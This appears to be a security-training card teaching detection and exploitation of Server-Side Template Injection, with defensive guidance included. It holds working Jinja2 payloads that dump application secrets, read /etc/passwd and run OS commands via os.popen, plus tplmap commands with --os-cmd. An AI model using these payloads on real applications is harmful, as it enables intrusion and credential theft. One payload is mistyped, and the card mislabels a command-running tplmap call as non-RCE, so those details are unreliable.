Browse CTFs New CTF Sign in

SSTI chain

web_auth_sessions Difficulty 1–5 30 min certifiable

Theory

Why This Matters

Server-Side Template Injection (SSTI) emerged as a named vulnerability class following James Kettle's 2015 Black Hat research "Server-Side Template Injection: RCE for the Modern Web App," which showed that rendering user-controlled input directly through template engines like Jinja2, Twig, Smarty, and Freemarker could yield full remote code execution. SSTI has since been found in production applications at scale, including a notable 2019 Uber subdomain vulnerability and multiple HackerOne bug bounty reports against major platforms. Because template engines are ubiquitous in Python, PHP, Java, and Ruby web frameworks, SSTI is a broadly applicable class.

Core Concept

Server-Side Template Injection occurs when user-controlled input is embedded directly into a template string that is then rendered by the template engine, rather than being passed as a variable to a fixed template. The template engine evaluates the injected expression as code within its execution context, violating the invariant that template structure is defined by developers and only data values come from users.

The attacker precondition is that the application constructs a template string dynamically using user input — for example: template.render(user_greeting) where user_greeting contains the raw user input rather than a pre-written template that receives user input as a named variable.

Engine detection is the first step. Different engines use different expression delimiters: - Jinja2 / Twig: {{expression}} - Freemarker / Velocity: ${expression} - Smarty / Mako: #{expression}, ${expression}, <% %>

A polyglot detection payload tests multiple engines simultaneously: ${{<%[%'"}}%. If the application errors on this string, a template engine is processing it. Follow-up with arithmetic payloads ({{7*7}}, ${7*7}, #{7*7}) — a rendered result of 49 confirms which syntax the engine uses.

In Jinja2, the config object is globally accessible and exposes the Flask/Django application configuration, often including the SECRET_KEY. More powerful is traversing the Python object hierarchy via __mro__ (method resolution order) and __subclasses__() to reach built-in classes that provide file-read or command-execution capabilities. This multi-step traversal is the "chain" in SSTI chain exploitation: detect engine → access globals → traverse object hierarchy → reach a useful class → call its methods.

Technical Deep-Dive

# Step 1: Polyglot detection — inject into every reflected input field
${{<%[%'"}}%

# Step 2: Arithmetic confirmation — which syntax renders?
{{7*7}}         → 49  → Jinja2 or Twig
${7*7}          → 49  → Freemarker, Velocity, or Mako
#{7*7}          → 49  → Ruby ERB or some Twig configs

# Step 3: Jinja2 — access Flask application config
{{config}}
# Returns: <Config {'SECRET_KEY': 'dev-secret-key', 'DEBUG': True, ...}>
{{config.items()}}
# Enumerates all config keys including SECRET_KEY, DATABASE_URI, etc.

# Step 4: Jinja2 — access global namespace
{{self.__dict__}}
{{request.__class__.__mro__}}
# Traces MRO: [RequestContext, object]

# Step 5: Reach file-read capability via subclass chain
# Find index of <class 'subprocess.Popen'> or file-read class:
{{'.__class__.__mro__[1].__subclasses__()}}
# Returns a list of all subclasses of object; find useful ones by index

# Step 6: Read /etc/passwd using the 'open' builtin via __builtins__
{{config.__class__.__init__.__globals__['open']('/etc/passwd').read()}}

# Alternative — lipsum global (available in Jinja2 with Flask):
{{lipsum.__globals__['os'].popen('id').read()}}
# Returns: uid=33(www-data) gid=33(www-data) — but this is RCE (see card 7)
# tplmap automated SSTI detection and exploitation
git clone https://github.com/epinna/tplmap
python3 tplmap.py -u 'https://target.example.com/greet?name=*' 
  --engine Jinja2          # optional: specify engine if known

# For info-disclosure only (no RCE):
python3 tplmap.py -u 'https://target.example.com/greet?name=*' 
  --os-cmd 'cat /etc/passwd'
# tplmap automatically traverses the subclass chain

# POST body injection:
python3 tplmap.py -u 'https://target.example.com/greet' 
  --data 'name=*' --engine Jinja2

Security Assessment Methodology

  1. Fuzz all reflected inputs — Identify every parameter, form field, and HTTP header value that appears reflected in the response. Test with the polyglot ${{<%[%'"}}% first; a template error confirms a candidate.
  2. Confirm with arithmetic — Follow up with {{7*7}}, ${7*7}, and #{7*7}. The rendered result of 49 identifies the engine.
  3. Attempt config/globals access — In Jinja2: submit {{config}} and {{config.items()}} to extract application configuration. Document any secrets (SECRET_KEY, DB credentials).
  4. Enumerate the subclass chain — Submit {{'.__class__.__mro__[1].__subclasses__()}} and examine the output for useful classes (file I/O, subprocess). Note their list indices.
  5. Achieve file read — Use config.__class__.__init__.__globals__['open']('/etc/passwd').read() or the lipsum globals path to read sensitive files. Target: /etc/passwd, application config files, .env files.
  6. Run tplmap — Point tplmap at confirmed injection points for engine-specific enumeration and to confirm RCE escalation feasibility (document but do not execute destructive commands).
  7. Test all template engines — Applications may use multiple engines. Twig in PHP, Freemarker in Java, and Smarty are common alternatives to Jinja2.

Defensive Countermeasure — Never construct template strings from user input. The correct pattern passes user data as named template variables to a static template: render_template('greet.html', name=user_input) rather than render_template_string('Hello ' + user_input). If dynamic template generation is genuinely required, use a sandboxed environment (jinja2.sandbox.SandboxedEnvironment) and apply strict allowlisting of permitted expressions. Additionally, enable Jinja2's autoescape=True as a defence-in-depth measure against XSS, though it does not prevent SSTI.

Common Assessment Errors

  • Confusing SSTI with XSS — An input that reflects {{7*7}} literally (not as 49) is an XSS candidate; an input that renders the result as 49 is SSTI. The distinction matters for both exploitation and remediation.
  • Testing only Jinja2 syntax — Applications may run Twig (PHP), Freemarker (Java), or Velocity. Not testing non-Jinja2 payloads on non-Python stacks misses the vulnerability.
  • Stopping at config disclosure — Finding SECRET_KEY in config is impactful (JWT forgery, session forgery) but SSTI typically enables full RCE via the subclass chain. Report the full potential impact.
  • Forgetting to test POST bodies and headers — Error pages, email templates, and PDF generators often receive user input via POST body fields or User-Agent/Referer headers that get passed to template engines.
  • Not verifying the arithmetic result is evaluated server-side — Some applications reflect {{7*7}} as the literal string 49 via client-side templating. Confirm the calculation happens server-side by checking response source before claiming SSTI.
  • Assuming sandbox = safe — Jinja2's SandboxedEnvironment has had multiple bypass techniques published. A sandboxed environment reduces risk but is not a complete mitigation without regular patching.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0009 Knowledge of application vulnerabilities Builds understanding of SSTI as a code-injection class through template engine expression evaluation
K0070 Knowledge of system and application security threats and vulnerabilities Covers multi-engine SSTI detection methodology and Jinja2 object hierarchy traversal
S0001 Skill in conducting vulnerability scans Trains tplmap usage and polyglot detection methodology
S0044 Skill in mimicking threat behaviors Develops multi-step chain-building skill for info-disclosure exploitation
T0028 Test system security controls Covers template construction review and sandboxed environment assessment
T0591 Perform penetration testing Provides complete SSTI detection-through-exploitation methodology

Further Reading

  • Server-Side Template Injection: RCE for the Modern Web App — James Kettle, Black Hat USA 2015
  • Server-Side Template Injection — PortSwigger Web Security Academy
  • tplmap Documentation and Engine Payloads — Emilio Pinna, GitHub

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.